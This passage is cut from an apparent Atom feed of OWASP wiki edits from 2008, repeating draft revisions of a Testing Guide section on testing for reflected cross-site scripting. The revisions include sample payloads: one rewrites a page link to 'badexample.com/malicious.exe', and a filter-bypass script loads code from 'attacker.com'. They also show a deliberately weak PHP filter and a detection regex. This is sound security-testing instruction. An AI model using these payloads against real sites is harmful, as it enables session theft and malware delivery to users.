1. S. Frei, T. Dübendorfer, G. Ollmann, M. May, &amp;quot;Understanding the Web&lt;br /&gt;
browser threat,&amp;quot; 2008&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applicatons&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]&lt;br /&gt;
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=alert%28A_javascritp_agent%29 Read] ( To be published )&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&lt;br /&gt;
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners.&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding&lt;br /&gt;
This tool helps you encoding arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.&lt;br /&gt;
* '''WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project&lt;br /&gt;
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. &lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
* '''ratproxy''' - http://code.google.com/p/ratproxy/&lt;br /&gt;
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.&lt;br /&gt;
* '''Burp Proxy''' - http://portswigger.net/proxy/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:XSS_Example2.png&amp;diff=36144</id>
		<title>File:XSS Example2.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:XSS_Example2.png&amp;diff=36144"/>
				<updated>2008-08-14T18:56:43Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: uploaded a new version of &amp;quot;Image:XSS Example2.png&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:Alert.png&amp;diff=36143</id>
		<title>File:Alert.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:Alert.png&amp;diff=36143"/>
				<updated>2008-08-14T18:56:16Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: uploaded a new version of &amp;quot;Image:Alert.png&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:XSS_Example1.png&amp;diff=36142</id>
		<title>File:XSS Example1.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:XSS_Example1.png&amp;diff=36142"/>
				<updated>2008-08-14T18:55:25Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: uploaded a new version of &amp;quot;Image:XSS Example1.png&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=36121</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=36121"/>
				<updated>2008-08-14T16:05:53Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: blackbox testing changes&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected [http://www.owasp.org/index.php/Cross_Site_Scripting cross-site scripting] (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
A black-box test will include at least three phases:&lt;br /&gt;
&lt;br /&gt;
1. Detect input vectors. The tester must determine the web application's&lt;br /&gt;
variables and how to input them in the web application. See the above&lt;br /&gt;
example.&lt;br /&gt;
&lt;br /&gt;
2. Analyze each input vector to detect potential vulnerabilities. The&lt;br /&gt;
tester will typically use a web application fuzzer or manually attempt&lt;br /&gt;
detecting a xss vulnerability by entering offending data. This tests are&lt;br /&gt;
typically harmless, but triggers responses from the web browser that&lt;br /&gt;
allow the tester to detect a vulnerability.&lt;br /&gt;
&lt;br /&gt;
3. For each vulnerability reported in the previous phase, the tester&lt;br /&gt;
will analyze the report and attempt to exploit it with an attack that&lt;br /&gt;
has a realistic impact on the web application's security.&lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
However, most web applications today use some sort of sanitization. Yet,&lt;br /&gt;
some remain vulnerable. Reflected cross-site scripting attacks are&lt;br /&gt;
prevented either at the side of the server, by sanitization or a web&lt;br /&gt;
application firewall, or at the side of the client by prevention&lt;br /&gt;
mechanisms that are embedded in modern web browsers.&lt;br /&gt;
&lt;br /&gt;
Since most of the clients do not update their browsers1, the tester&lt;br /&gt;
cannot count on this and must test for vulnerabilities assuming that web&lt;br /&gt;
browsers will not prevent the attack.&lt;br /&gt;
&lt;br /&gt;
A web application or the web server (e.g., Apache's mod_rewrite module)&lt;br /&gt;
can parse the URL matching a regular expression as a sanitization&lt;br /&gt;
prcedure. For example the following regular expression can be used to&lt;br /&gt;
detect (and block) alphanumeric characters between tags or slashes.&lt;br /&gt;
&lt;br /&gt;
 /((\%3C)|&amp;lt;)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|&amp;gt;)/i&lt;br /&gt;
&lt;br /&gt;
Hence, the above attack will not work. However, this regular expression&lt;br /&gt;
does not completely fix the vulnerability. In a grey-box test, the&lt;br /&gt;
tester might access the source code and analyze the sanitization&lt;br /&gt;
procedure to decide if he can circumvent it.&lt;br /&gt;
&lt;br /&gt;
To black-box test whether there is a vulnerability or not, the tester&lt;br /&gt;
will use many test vectors, each circumventing one different&lt;br /&gt;
sanitization procedure hoping that one will work. For example, let's say&lt;br /&gt;
that the following code is executed:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
$re = &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
if (preg_match($re, $_GET['var'])) {&lt;br /&gt;
  echo &amp;quot;Filtered&amp;quot;;&lt;br /&gt;
  return; }&lt;br /&gt;
echo &amp;quot;Welcome &amp;quot;.$_GET['var'].&amp;quot; !&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this scenario there is a regular expression checking if &amp;lt;script&lt;br /&gt;
[anything but the character: '&amp;gt;' ] src is inserted. This is useful for&lt;br /&gt;
filtering expressions like &amp;lt;script&lt;br /&gt;
src=&amp;quot;http://localhost/xss.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;, which is a common attack. But,&lt;br /&gt;
in this case it is possible to bypass the sanitization using the &amp;quot;&amp;gt;&amp;quot;&lt;br /&gt;
character in a varible between script and src, like this:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/?var=&amp;lt;SCRIPT%20a=&amp;quot;&amp;gt;&amp;quot;%20SRC=&amp;quot;http://www.attacker.com/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will exploit a reflected corss-site scripting vulnerability&lt;br /&gt;
executing the javascript code in the attacker's web server but using the&lt;br /&gt;
credentials of the original site ww.example.com.&lt;br /&gt;
&lt;br /&gt;
A complete test will include instantiating a variable with several&lt;br /&gt;
attack vectors (Check [https://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors Fuzz vectors appendix] and [https://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_D:_Encoded_Injection Encoded injection appendix]).&lt;br /&gt;
&lt;br /&gt;
Finally, analyzing answers can get complex. A simple way to do this is&lt;br /&gt;
using the Hello world popup of our example. This indicates that an&lt;br /&gt;
attacker could execute arbitrary javascript of his choice in the&lt;br /&gt;
visitors' browsers.&lt;br /&gt;
&lt;br /&gt;
Bibliography&lt;br /&gt;
&lt;br /&gt;
1. S. Frei, T. Dübendorfer, G. Ollmann, M. May, &amp;quot;Understanding the Web&lt;br /&gt;
browser threat,&amp;quot; 2008&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applicatons&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]&lt;br /&gt;
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=alert%28A_javascritp_agent%29 Read] ( To be published )&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&lt;br /&gt;
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners.&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding&lt;br /&gt;
This tool helps you encoding arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.&lt;br /&gt;
* '''WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project&lt;br /&gt;
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. &lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
* '''ratproxy''' - http://code.google.com/p/ratproxy/&lt;br /&gt;
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.&lt;br /&gt;
* '''Burp Proxy''' - http://portswigger.net/proxy/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35824</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35824"/>
				<updated>2008-08-11T21:15:59Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected [http://www.owasp.org/index.php/Cross_Site_Scripting cross-site scripting] (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it. &lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities: &lt;br /&gt;
&lt;br /&gt;
'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this:  /((\%3C)|&amp;lt;)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|&amp;gt;)/i.&lt;br /&gt;
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using &amp;quot;javascript:&amp;quot;, if we dont need to close any other kind of tag. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
$re = &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
if (preg_match($re, $_GET['var'])) {&lt;br /&gt;
  echo &amp;quot;Filtered&amp;quot;;&lt;br /&gt;
  return; }&lt;br /&gt;
echo &amp;quot;Welcome &amp;quot;.$_GET['var'].&amp;quot; !&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this scenario there is a regular expression checking if ''&amp;lt;script [anything but the character: '&amp;gt;' ] src'' is inserted.&lt;br /&gt;
This is useful for filtering expressions like &amp;lt;script src=&amp;quot;http://localhost/xss.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;, but in this case its possible to bypass this using the &amp;quot;&amp;gt;&amp;quot; character in a varible betwen script and src, like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost?var=&amp;lt;SCRIPT%20a=&amp;quot;&amp;gt;&amp;quot;%20SRC=&amp;quot;http://localhost/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[about new technologies]&lt;br /&gt;
&lt;br /&gt;
A recent study made by S. Frei [ETH], T. Dübendorfer [Google], G. Ollmann [IBM ISS], M. May [ETH] called [http://www.techzoom.net/publications/insecurity-iceberg/index.en Understanding the Web browser threat, 2008] demostrate that more than 600 million Internet users don't use the latest version of their browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applicatons&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]&lt;br /&gt;
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=alert%28A_javascritp_agent%29 Read] ( To be published )&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&lt;br /&gt;
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners.&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding&lt;br /&gt;
This tool helps you encoding arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.&lt;br /&gt;
* '''WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project&lt;br /&gt;
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. &lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
* '''ratproxy''' - http://code.google.com/p/ratproxy/&lt;br /&gt;
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.&lt;br /&gt;
* '''Burp Proxy''' - http://portswigger.net/proxy/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35769</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35769"/>
				<updated>2008-08-11T17:22:13Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: /* Black and Grey Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected [http://www.owasp.org/index.php/Cross_Site_Scripting cross-site scripting] (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
